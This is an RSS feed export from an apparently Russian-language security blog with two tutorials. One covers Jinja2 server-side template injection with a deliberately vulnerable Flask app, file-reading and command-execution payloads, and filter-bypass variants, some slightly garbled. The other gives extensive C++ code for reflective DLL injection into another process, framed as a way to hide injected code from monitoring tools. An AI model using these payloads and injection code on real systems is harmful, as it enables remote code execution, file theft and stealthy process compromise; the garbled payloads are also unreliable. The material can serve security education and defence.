<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@it_virologist</title><generator>teletype.in</generator><description><![CDATA[@it_virologist]]></description><image><url>https://teletype.in/files/a9/5f/a95fb87d-76d8-480e-8ab0-75efa813e4b3.jpeg</url><title>@it_virologist</title><link>https://teletype.in/@it_virologist</link></image><link>https://teletype.in/@it_virologist?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=it_virologist</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/it_virologist?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/it_virologist?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 19 Apr 2026 22:20:59 GMT</pubDate><lastBuildDate>Sun, 19 Apr 2026 22:20:59 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@it_virologist/jWgB-uLwL</guid><link>https://teletype.in/@it_virologist/jWgB-uLwL?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=it_virologist</link><comments>https://teletype.in/@it_virologist/jWgB-uLwL?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=it_virologist#comments</comments><dc:creator>it_virologist</dc:creator><title>SSTI</title><pubDate>Sun, 12 Apr 2020 18:33:16 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/72/21/7221f6fd-5b12-4808-b512-88480068e08c.png"></img>Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. ]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://teletype.in/files/72/21/7221f6fd-5b12-4808-b512-88480068e08c.png" width="1920" />
  </figure>
  <p>Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. </p>
  <p>В отличие от XSS, Template Injection может использоваться для прямой атаки на внутренние компоненты веб-серверов и получать удаленное выполнение кода.</p>
  <p></p>
  <p>Итак для примера создадим простое приложение на flask python, которое выглядит следующим образом:</p>
  <pre>from flask import *

app = Flask(__name__)

@app.route(&quot;/&quot;)
def home():
    return &quot;Hello, World!&quot;

if __name__ == &quot;__main__&quot;:
    app.run(debug=True)</pre>
  <p>На странице просто выведется <em>Hello World!</em> .</p>
  <p>Теперь нам нужно добавить параметры, чтобы мы могли взаимодействовать с веб-приложением. Получим просто параметр переданный в запросе <code>request.args.get(&#x27;name&#x27;)</code>.</p>
  <p>В данном случае параметр запроса name.</p>
  <pre>from flask import *

app = Flask(__name__)

@app.route(&quot;/&quot;)
def home():
    output = request.args.get(&#x27;name&#x27;)
    return f&quot;Hello, {output}!&quot;

if __name__ == &quot;__main__&quot;:
    app.run(debug=True)</pre>
  <p>Но если будем делать запрос страницы без параметра name, то получим ошибку. Чтобы избежать этого, просто проверим output в if.</p>
  <pre>from flask import *

app = Flask(__name__)

@app.route(&quot;/&quot;)
def home():
    output = request.args.get(&#x27;name&#x27;)
    
    if output == None:
        return &quot;name parameter not passed&quot;  
    return f&quot;Hello, {output}!&quot;


if __name__ == &quot;__main__&quot;:
    app.run(debug=True)</pre>
  <p>Отлично, теперь у нас есть приложение на flask, которое возвращает значение из get параметра и не вылетает. Теперь по уязвимости, она присутствует там, где шаблоны выполняются на стороне сервера и данные никак не обрабатываются или недостаточно обрабатываются. </p>
  <p>Для рендеринга шаблона по строке используем render_template_string.</p>
  <pre>from flask import *

app = Flask(__name__)

@app.route(&quot;/&quot;)
def home():
    output = request.args.get(&#x27;name&#x27;)
    
    if output != None:
        output = render_template_string(f&quot;Hello, {output}!&quot;)
        return output
    
    return &quot;name parameter not passed&quot;
        
if __name__ == &quot;__main__&quot;:
    app.run(debug=True)</pre>
  <p>Запустим сервер и передадим в запросе name={{ 7 * 7 }}<br />( <a href="http://localhost:port/?name=" target="_blank">http://localhost:port/?name=</a><em>{{ 7 * 7 }}</em>), сервер вернет нам <em>Hello, 49!,</em> что означает, что тут присутствует уязвимость. </p>
  <p>Механизмы шаблонов используются очень широко, и они существуют для различных языков, таких как PHP, JS, Python, Go, Ruby ​​и многих других.</p>
  <p>Основание того, почему они полезны, в том случае, если у вас большой веб-сайт или платформа, где много динамически изменяющихся элементов.</p>
  <p>Например, netflix имеет тот же макет для своего контента, и изменяются только следующие вещи: заголовок, описание, баннер и некоторые другие мелкие детали, поэтому вместо создания целиком отдельной страницы для каждого фильма они просто подают данные в свои шаблоны , а затем шаблонизатор складывает все это вместе.</p>
  <p><strong>Получение конфигурации</strong></p>
  <p>Это может быть полезно для получения ключа SECRET_KEY, который используется для подписи файлов cookie, при этом вы можете создавать и подписывать свои собственные файлы cookie.</p>
  <p>Для шаблонизатора Jinja2, который работает с фласком используем {{ config }}</p>
  <p></p>
  <p><strong>Чтение локальных файлов</strong></p>
  <p>Это может быть использовано для чтения любого файла в системе и последующего выполнения может быть выполнен с помощью полезная нагрузка RCE. Также иногда пихают флажок на цтфках в папку с шаблонами {% include &#x27;flag.txt&#x27;%}.</p>
  <p>Пример полезной нагрузки альтернативы:                                                                        {{&#x27;&#x27;.__class<u>__</u>.__mro<u>__</u>[2].__ssubclasses_<u>_</u>[40](&#x27;/etc/passwd&#x27;).read() }}</p>
  <p></p>
  <p><strong>RCE</strong></p>
  <p>Наконец, удаленное выполнение команд.</p>
  <p>Очевидно, что это самый серьезный и опасный процесс, который может быть осуществлен различными способами:</p>
  <p>{{&#x27;&#x27;.__class<u>__</u>.__mro<u>__</u>[1].__subsubclasses_<u>_()[1</u>](&#x27;cat flag.txt&#x27;,shell=True,stdout=-1).communicate()[0].strip()}}  </p>
  <p>Теперь мы можем взглянуть на обходные методы. Давайте начнем с метода обхода параметров.</p>
  <p>Представьте, что у вас есть шаблонизатор, в данном случае jinja2, который принимает значение из параметра и удаляет из него все символы подчеркивания &quot;_&quot;. Это ограничит нас от различных различных запросов, например мы не сможем обратиться {<u>{__</u>class__}}. Таким образом, этот обходной метод основан на идее, что только этот параметр проверяется на подчеркивание. Поэтому все, что нам нужно сделать, это передать подчеркивание через другой параметр и вызвать их из нашего шаблона.</p>
  <p>Мы начнем с вызова атрибута класса из запроса (подчеркивания в данном запросе будут удаляться).<br /><code>{{ request.__class__ }}</code></p>
  <p> мы удаляем «.» и используйте | attr, чтобы сообщить шаблону, что мы используем атрибуты запроса.<br /><code>{{ request|attr(&quot;__class__&quot;) }}</code></p>
  <p>Далее перенаправляем все содержимое параметра attribute в функцию join, которая склеивает все значения вместе, в этом случае для создания класса они оно сконкатенируется.</p>
  <p><code>{{ request|attr([&quot;__&quot;,&quot;class&quot;,&quot;__&quot;]|join) }}</code> </p>
  <p>Затем мы удаляем одно подчеркивание и просто умножаем одно на два, что позволяет python, чтобы создать новую строку из ранее указанных строк.<br /><code>{{ request|attr([&quot;_&quot; * 2,&quot;class&quot;,&quot;_&quot; * 2]|join) }}</code></p>
  <p>Наконец, мы сообщаем paytload, чтобы получить подчеркивания от другого параметра, называемого «usc», и добавляем подчеркивания к другому параметру. В итоге у нас получится.</p>
  <p><code>http://localhost:port/?name={{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}&amp;usc=_</code></p>
  <p>В следующем методе показывается обход блокировки скобок &quot;[&quot;, &quot;]&quot;.</p>
  <p><code>http://localhost:port/?name={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&amp;class=class&amp;usc=_</code></p>
  <p><code>http://localhost:port/?name={{request|attr(request.args.getlist(request.args.l)|join)}}&amp;l=a&amp;a=_&amp;a=_&amp;a=class&amp;a=_&amp;a=_</code></p>
  <p>Еще один вариант в случае, если заблокирована точка &quot;.&quot;:<br /><code>http://localhost:port/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}</code></p>
  <p>Наконец, метод обхода, который используется в случае, когда заблокированы &quot;[&quot;, &quot;]&quot;, &quot;join&quot; и &quot;_&quot;:<br /><code>http://localhost:port/?name={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&amp;f=%s%sclass%s%s&amp;a=_</code></p>
  <p>Это всего лишь базовые данные обхода, но их можно комбинировать и манипулировать для достижения  результатов.</p>
  <hr />
  <p>А кучу полезных примеров инъекций вы можете найти туть:<a href="https://github.com/swisskyrepo/PayloadsAllTheThings" target="_blank">https://github.com/swisskyrepo/PayloadsAllTheThings</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@it_virologist/DPmp9trD1</guid><link>https://teletype.in/@it_virologist/DPmp9trD1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=it_virologist</link><comments>https://teletype.in/@it_virologist/DPmp9trD1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=it_virologist#comments</comments><dc:creator>it_virologist</dc:creator><title>Отражающая DLL инъекция</title><pubDate>Fri, 03 Apr 2020 18:44:25 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/9a/25/9a25e8ff-ce42-4050-a7f5-9f2202c11b35.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/fa/ac/faacc832-ee0a-421f-9391-af3e6f2f9c30.png"></img>Чтобы полностью понять содержание этой статьи, необходимы знания:]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/fa/ac/faacc832-ee0a-421f-9391-af3e6f2f9c30.png" width="700" />
  </figure>
  <p>Чтобы полностью понять содержание этой статьи, необходимы знания:</p>
  <ul>
    <li>C/C ++</li>
    <li>WinAPI</li>
    <li>Виртуальная память</li>
    <li>Формат файла PE</li>
  </ul>
  <p></p>
  <h3>DLL инъекция</h3>
  <p>DLL инъекция осуществляется путем внедренияDLL в пространство другого процесса и последующего выполнение его кода.</p>
  <p>Примером может послужить ​​следующим фрагментом кода:</p>
  <pre>VOID InjectDll(HANDLE hProcess, LPCSTR lpszDllPath) 
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, lpBaseAddress, lpszDllPath, dwDllPathLen, &amp;dwWritten);
	HMODULE hModule = GetModuleHandle(&quot;kernel32.dll&quot;);
	LPVOID lpStartAddress = GetProcAddress(hModule, &quot;LoadLibraryA&quot;);
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
}</pre>
  <p>Первым шагом является выделение места в пространстве виртуальной памяти целевого процесса, что можно сделать с помощью функции <code>VirtualAllocEx</code>, указав дескриптор процесса. Затем мы можем использовать <code>WriteProcessMemory</code>для записи данных в процесс, используя полный путь к полезной нагрузке DLL. Чтобы выполнить код, все , что мы должны сделать это восстановить <code>LoadLibrary</code>функцию из <code>kernel32</code>модуля , а затем вызвать <code>CreateRemoteThread</code>для выполнения <code>LoadLibrary</code> в целевом процессе , чтобы заставить загрузить полезную нагрузку DLL в качестве библиотеки. В результате она немедленно выполнит <code>DllMain</code>с указанием.</p>
  <p>Вот пример кода DLL, который я буду использовать для демонстрации:</p>
  <pre>BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) 
{
    ::MessageBox(NULL, L&quot;Hello world!&quot;, L&quot;Test DLL&quot;, MB_OK);
    return TRUE;
}</pre>
  <h3></h3>
  <h3>Отражающая DLL инъекция (Reflective DLL Injection<em>)</em></h3>
  <p>В предыдущем коде внедрения DLL источник DLL получен по полному пути на диске.  Из-за этого такой метод не очень скрытный, а также данная зависимость может быть проблемой в случае разделения.</p>
  <p>Эти проблемы могут быть решены с помощью Reflective DLLинъекции<em>,</em>которая позволяет получать DLL в форме необработанных данных.</p>
  <p>Чтобы иметь возможность вводить данные в целевой процесс, мы должны вручную отобразить бинарник в виртуальную память, как это делал бы загрузчик образов Windows при вызове <code>LoadLibrary</code>.</p>
  <p>Вот краткое описание шагов алгоритма, которые будут выполнены для внедрения DLL в внешний процесс:</p>
  <ol>
    <li>Получение полезной нагрузки DLL</li>
    <li>Отображение DLL в памяти</li>
    <li>После отображения его в память, его таблица импорта должна быть перестроена</li>
    <li>Сопоставление DLL целевому процессу</li>
    <li>Сопоставленный DLL записывается в целевой процесс.</li>
  </ol>
  <p></p>
  <p><strong>Извлечение из ресурсов<br /></strong>Чтобы сохранить DLL вместе с инжектором как единое целое, мы можем воспользоваться разделом ресурсов формата PE.</p>
  <figure class="m_column">
    <img src="https://teletype.in/files/0b/58/0b58b089-af6d-4b5d-9de8-4fc3884a5678.png" width="794" />
  </figure>
  <p>Извлечение необработанного двоичного файла DLL является тривиальной задачей, которую можно выполнить с помощью API ресурса. Перед извлечением мы должны проверить, существует ли DLL в ресурсах следующим образом:</p>
  <pre>BOOL CALLBACK EnumResNameProc (HMODULE hModule, LPCWSTR lpszType, LPWSTR lpszName, LONG_PTR lParam)
{
    HRSRC *h = reinterpret_cast&lt;HRSRC *&gt;(lParam);
    HRSRC hRsrc = ::FindResource(hModule, lpszName, lpszType);
    
    if (!hRsrc) 
        return TRUE;
    else 
    {
        *h = hRsrc;
        return FALSE;
    }
    
    return TRUE;
}

bool Injector::HasPayload()
{
    HMODULE hModule = ::GetModuleHandle(NULL);
    if (!hModule) 
        return false;
      
    HRSRC hRsrc = NULL;
    if (!::EnumResourceNames(hModule, L&quot;PAYLOAD&quot;, EnumResNameProc, reinterpret_cast&lt;LPARAM&gt;(&amp;hRsrc)) &amp;&amp; 
        GetLastError() != ERROR_RESOURCE_ENUM_USER_STOP)
        return false;
   
    if (!hRsrc) 
        return false;
   
    this-&gt;payload-&gt;hResPayload = hRsrc;
   
    return true;
}</pre>
  <p>Приведенный выше код будет перечислять все ресурсы типа <code>PAYLOAD</code> и, если выполнение будет успешным, то будет взят дескриптор ресурса путем вызова <code>FindResource</code>. Получив дескриптор, мы можем получить указатель на необработанные двоичные данные и скопировать их в память, используя следующую функцию:</p>
  <pre>bool Injector::LoadFromResource() 
{
    DWORD dwSize = ::SizeofResource(::GetModuleHandle(NULL), this-&gt;payload-&gt;hResPayload);
    HGLOBAL hResData = ::LoadResource(NULL, this-&gt;payload-&gt;hResPayload);
    
    if (hResData) 
    {
        LPVOID lpPayload = ::LockResource(hResData);
        if (lpPayload) 
        {
            if (MemoryMapPayload(lpPayload))
                return true;
        }
    }
    
    return false;
}</pre>
  <p>Имейте в виду, что после вызова <code>LockResource</code> указатель на ресурс DLL доступен только для чтения, а данные представлены в виде диска, что означает, что все смещения - это смещение файлов, а не смещения памяти.</p>
  <p></p>
  <p><strong>Отображение в память<br /></strong>Нам понадобится преобразовать его в <em>форму памяти </em>для дальнейшей обработки, для этого мы можем проанализировав его структуру и отобразить его в пространство памяти.</p>
  <pre>bool Injector::MemoryMapPayload(LPVOID lpPayload) 
{
    PIMAGE_DOS_HEADER pidh = reinterpret_cast&lt;PIMAGE_DOS_HEADER&gt;(lpPayload);
    PIMAGE_NT_HEADERS pinh = reinterpret_cast&lt;PIMAGE_NT_HEADERS&gt;(reinterpret_cast&lt;DWORD&gt;(lpPayload) + pidh-&gt;e_lfanew);
    
    HANDLE hMapping = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, pinh-&gt;OptionalHeader.SizeOfImage, NULL);
    if (hMapping) 
    {
        LPVOID lpMapping = ::MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);
        if (lpMapping) 
        {
            //сопоставим полезную нагрузку с памятью
            ::CopyMemory(lpMapping, lpPayload, pinh-&gt;OptionalHeader.SizeOfHeaders);
            
		    //скопируем разделы
		    for (int i = 0; i &lt; pinh-&gt;FileHeader.NumberOfSections; i++) 
		    {
		         PIMAGE_SECTION_HEADER pish = reinterpret_cast&lt;PIMAGE_SECTION_HEADER&gt;(reinterpret_cast&lt;DWORD&gt;(lpPayload) + pidh-&gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
		         ::CopyMemory(reinterpret_cast&lt;LPVOID&gt;(reinterpret_cast&lt;DWORD&gt;(lpMapping) + pish-&gt;VirtualAddress), reinterpret_cast&lt;LPVOID&gt;(reinterpret_cast&lt;DWORD&gt;(lpPayload) + pish-&gt;PointerToRawData), pish-&gt;SizeOfRawData);
            }
            
            this-&gt;vPayloadData = std::vector&lt;BYTE&gt;(reinterpret_cast&lt;LPBYTE&gt;(lpMapping), reinterpret_cast&lt;LPBYTE&gt;(lpMapping) + pinh-&gt;OptionalHeader.SizeOfImage);
            ::UnmapViewOfFile(lpMapping);
			::CloseHandle(hMapping);
			return true;
		}
		::CloseHandle(hMapping);
	}
	
	return false;
}</pre>
  <p>Здесь сегмент памяти отображается так, что мы можем преобразовать бинарный файл в его отображенный в памяти аналог. Разделы сначала копируются в память, поскольку они совпадают с объектом диска и образом памяти. Далее перечисляются заголовки разделов, чтобы собрать виртуальные смещения самих разделов, которые используются для вставки разделов в их соответствующие области. После завершения преобразования мы можем просто сохранить его и очистить отображенную память.</p>
  <p></p>
  <p><strong>Пересборка и внедрение DLL</strong></p>
  <p>Прежде чем пересобрать библиотеку DLL, мы должны сначала проверить, существует ли целевой процесс, и, если он существует, получить дескриптор к нему. Мы можем сделать это, перечислив все запущенные процессы и затем сравнив их имена:</p>
  <pre>bool Injector::GetProcess() 
{
    PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	
	if (Process32First(hSnapshot, &amp;pe32)) 
	{
	    while (Process32Next(hSnapshot, &amp;pe32)) 
	    {
	        if (wcsicmp(pe32.szExeFile, this-&gt;szProcessName.c_str()) == 0) 
	        {
				HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | 
					PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | 
					PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
				::CloseHandle(hSnapshot);

				this-&gt;payload-&gt;hProcess = hProcess;
				return true;
			}
		}
	}
	else
		return ::CloseHandle(hSnapshot), false;
	return false;
}</pre>
  <p>Теперь мы можем проверить, можем ли мы выделить некоторую память в адресном пространстве целевого процесса. Для этого мы можем использовать <code>VirtualAllocEx</code> функцию, указав дескриптор процесса и размер изображения:</p>
  <pre>this-&gt;payload-&gt;lpAddress = ::VirtualAllocEx(this-&gt;payload-&gt;hProcess, NULL, pinh-&gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!this-&gt;payload-&gt;lpAddress)
					return Debug(L&quot;Failed to allocate space: %lu\n&quot;, GetLastError()), false;</pre>
  <p>Как только мы подтвердим, что есть свободное место, мы можем перейти к пересоберем DLL. Пересоберем таблицы импорта:</p>
  <pre>
bool Injector::RebuildImportTable(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh) 
{
    if (pinh-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) 
    {
		PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = reinterpret_cast&lt;PIMAGE_IMPORT_DESCRIPTOR&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pinh-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
		while (pImportDescriptor-&gt;Name != NULL) 
		{
		    LPSTR lpLibrary = reinterpret_cast&lt;PCHAR&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pImportDescriptor-&gt;Name);
		    HMODULE hLibModule = ::LoadLibraryA(lpLibrary);
			
			PIMAGE_THUNK_DATA nameRef = reinterpret_cast&lt;PIMAGE_THUNK_DATA&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pImportDescriptor-&gt;Characteristics);
			PIMAGE_THUNK_DATA symbolRef = reinterpret_cast&lt;PIMAGE_THUNK_DATA&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pImportDescriptor-&gt;FirstThunk);
			PIMAGE_THUNK_DATA lpThunk = reinterpret_cast&lt;PIMAGE_THUNK_DATA&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pImportDescriptor-&gt;FirstThunk);
			
			for (; nameRef-&gt;u1.AddressOfData; nameRef++, symbolRef++, lpThunk++) 
			{
				if (nameRef-&gt;u1.AddressOfData &amp; IMAGE_ORDINAL_FLAG)
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, MAKEINTRESOURCEA(nameRef-&gt;u1.AddressOfData));
				else 
				{
					PIMAGE_IMPORT_BY_NAME thunkData = reinterpret_cast&lt;PIMAGE_IMPORT_BY_NAME&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + nameRef-&gt;u1.AddressOfData);
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, reinterpret_cast&lt;LPCSTR&gt;(&amp;thunkData-&gt;Name));
				}
			}
			
			::FreeLibrary(hLibModule);
			pImportDescriptor++;
		}
	}
	
	return true;
}	</pre>
  <p>По сути, таблица импорта получается через структуру необязательного заголовка в формате PE и <em>обходит ее</em>, извлекая имена импортированных функций, а затем перезаписывает <code>FirstThunk </code>адреса. Для этого сначала нужно получить библиотеку, содержащую функцию <code>LoadLibrary</code>, а затем вызвать <code>GetProcAddress</code> для получения соответствующего адреса.</p>
  <p>Следующим шагом является перемещение адреса с помощью таблицы перемещения. Дельта фактического выделенного базового адреса в целевом процессе вместе с исходным базовым адресом вычисляется с помощью простого вычитания:</p>
  <pre>DWORD dwDelta = reinterpret_cast&lt;DWORD&gt;(this-&gt;payload-&gt;lpAddress) - pinh-&gt;OptionalHeader.ImageBase;</pre>
  <p>Как и в таблице импорта, данные в таблице перемещения применяются с соответствующим смещением по указанным адресам с использованием вычисленной дельты:</p>
  <pre>bool Injector::BaseRelocate(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh, DWORD dwDelta) 
{
    IMAGE_BASE_RELOCATION* r = reinterpret_cast&lt;IMAGE_BASE_RELOCATION*&gt;(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + pinh-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    IMAGE_BASE_RELOCATION* r_end = reinterpret_cast&lt;IMAGE_BASE_RELOCATION*&gt;(reinterpret_cast&lt;DWORD_PTR&gt;(r) + pinh-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - sizeof(IMAGE_BASE_RELOCATION));
    for (; r &lt; r_end; r = reinterpret_cast&lt;IMAGE_BASE_RELOCATION*&gt;(reinterpret_cast&lt;DWORD_PTR&gt;(r) + r-&gt;SizeOfBlock)) 
    {
		WORD* reloc_item = reinterpret_cast&lt;WORD*&gt;(r + 1);
		DWORD num_items = (r-&gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
		
		for (DWORD i = 0; i &lt; num_items; ++i, ++reloc_item) 
		{
			switch (*reloc_item &gt;&gt; 12) 
			{
			case IMAGE_REL_BASED_ABSOLUTE:
				break;
			case IMAGE_REL_BASED_HIGHLOW:
				*(DWORD_PTR*)(reinterpret_cast&lt;DWORD&gt;(lpBaseAddress) + r-&gt;VirtualAddress + (*reloc_item &amp; 0xFFF)) += dwDelta;
				break;
			default:
				return false;
			}
		}
	}
	
	return true;
}</pre>
  <p>Теперь, когда мы восстановили то, что должно быть восстановлено, и распределили память во внешнем процессе, мы можем просто написать весь двоичный файл, используя <code>WriteProcessMemory</code>:</p>
  <pre>if (!::WriteProcessMemory(this-&gt;payload-&gt;hProcess, this-&gt;payload-&gt;lpAddress, this-&gt;vPayloadData.data(), pinh-&gt;OptionalHeader.SizeOfImage, NULL))
		return Debug(L&quot;Failed write payload: %lu\n&quot;, GetLastError()), false;</pre>
  <p></p>
  <p><strong>Выполнение DLL</strong></p>
  <p>Выполнение почти такое же, как и при обычном внедрении DLL с использованием вызова <code>CreateRemoteThread</code>. Единственная разница здесь в том, что мы не будем использовать <code>LoadLibrary</code>, но вместо этого мы будем использовать адрес значения точки входа непосредственно из DLL, которая должна быть<code>DllMain</code>.</p>
  <pre>this-&gt;payload-&gt;dwEntryPoint = reinterpret_cast&lt;DWORD&gt;(this-&gt;payload-&gt;lpAddress) + pinh-&gt;OptionalHeader.AddressOfEntryPoint;

HANDLE hThread = ::CreateRemoteThread(this-&gt;payload-&gt;hProcess, NULL, 0, reinterpret_cast&lt;LPTHREAD_START_ROUTINE&gt;(payload-&gt;dwEntryPoint), NULL, 0, NULL);</pre>
  <p></p>
  <p>Вот и все!)</p>
  <h3><strong>Демонстрация</strong></h3>
  <p>В этой демонстрации я буду использовать, <code>putty.exe</code>, потому что я не могу использовать <code>explorer.exe</code>,потому что это 64-битный процесс по сравнению с моим 32-битным инжектором и DLL. Кроме того, у меня нигде нет 32-битной виртуалки. Я также буду использовать инструмент мониторинга <em>Process Hacker</em> для просмотра результата внедрения DLL.</p>
  <p><strong>Обычная DLL инъекция</strong></p>
  <p>Вот результат обычного метода внедрения DLL:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/fe/14/fe143257-9a09-402a-a001-3896e898ade8.png" width="690" />
  </figure>
  <p>Мы можем видеть, что он четко отображается в списке загруженных модулей и очевидно, что в затронутом процессе присутствует посторонний код.</p>
  <p><strong>Отражающая DLL инъекция</strong></p>
  <p>Давайте теперь проверим метод внедрения отражающей DLL:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/47/9b/479b4d42-5b09-4c0f-b8aa-c755bde3e131.png" width="690" />
  </figure>
  <p>И здесь нет названия для этого блока памяти. Помимо <code>RWX</code> разрешений, нет никаких явных признаков того, что существует какой-либо сторонний код!</p>

]]></content:encoded></item></channel></rss>